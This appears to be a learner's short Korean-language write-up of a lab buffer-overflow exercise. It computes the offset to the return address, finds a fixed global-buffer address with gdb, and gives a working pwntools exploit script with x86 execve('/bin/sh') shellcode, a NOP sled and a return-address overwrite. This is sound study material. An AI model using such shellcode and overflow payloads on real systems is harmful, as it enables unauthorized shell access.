g_buf는 bss, 전역변수이고
-0x88(dest) ~ 0x04(ret) 거리 : 0x8c : 140
140 - 23(shell) = 117
win함수 없음
리턴할 주소가 안보인다. gdb로 찾아준다. (아마 전역변수라 주소가 고정? 되는것 같긴 한데 잘 모르겠다)
리턴 주소 >> 0x804a060
from pwn import *
r = process("./exercise4")
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ("\x90"*50 + shell + "\x90"*67 + p32(0x804a060))
r.sendafter(" :",payload)
r.interactive()
해당 주소는 shellcode를 넣은부분의 주소인데, (payload) 스택에 shellcode를 넣는다고 마법처럼 bin/sh가 실행되는게 아니고 ret에서 해당 주소로 이동해야 한다. (난 마법을 믿었다)